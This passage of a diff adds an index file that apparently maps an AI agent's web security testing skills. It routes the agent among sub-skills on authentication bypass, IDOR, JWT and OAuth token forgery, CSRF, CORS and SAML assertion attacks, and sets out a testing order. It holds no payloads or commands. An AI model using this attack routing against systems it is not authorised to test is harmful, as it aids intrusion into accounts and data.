+ Use it to decide whether the issue is mainly login mechanics, object-level authorization, browser trust boundaries, or identity protocols such as OAuth/JWT/SAML before going deeper.
14
+
15
+ ## When to Use
16
+
17
+ - The target includes login, registration, password reset, 2FA, sessions, JWT, OAuth, or SSO
18
+ - You suspect object authorization flaws, cross-tenant access, cross-origin reads, CSRF, or protocol misconfiguration
19
+ - You need to decide whether to test authentication or authorization first
20
+
21
+ ## Skill Map
22
+
23
+ - [Authentication Bypass](../authbypass-authentication-flaws/SKILL.md): login bypass, password reset, 2FA, enumeration, brute-force protections
24
+ - [IDOR Broken Object Authorization](../idor-broken-object-authorization/SKILL.md): IDOR, BOLA, BFLA, missing object permissions
25
+ - [JWT OAuth Token Attacks](../jwt-oauth-token-attacks/SKILL.md): algorithm confusion, key trust issues, claim abuse, token forgery
26
+ - [OAuth OIDC Misconfiguration](../oauth-oidc-misconfiguration/SKILL.md): redirect URI, state, nonce, PKCE, account binding
27
+ - [CSRF Cross Site Request Forgery](../csrf-cross-site-request-forgery/SKILL.md): CSRF tokens, SameSite, JSON CSRF, login CSRF
28
+ - [CORS Cross Origin Misconfiguration](../cors-cross-origin-misconfiguration/SKILL.md): reflected Origin, credentialed cross-origin reads, allowlist bypass
29
+ - [SAML SSO Assertion Attacks](../saml-sso-assertion-attacks/SKILL.md): assertion wrapping, signature validation, audience, ACS boundaries
30
+
31
+ ## Recommended Flow
32
+
33
+ 1. First confirm the authentication model and session boundaries
34
+ 2. Then confirm object-level and function-level authorization
35
+ 3. Then move to token, cross-origin, and protocol details
36
+ 4. If enterprise federation exists, continue with OAuth, OIDC, or SAML topics
37
+
38
+ ## Related Categories
39
+
40
+ - [api-sec](../api-sec/SKILL.md)
41
+ - Default credentials, username variants, wordlist sizing, and port focus are consolidated in [authbypass-authentication-flaws](../authbypass-authentication-flaws/SKILL.md)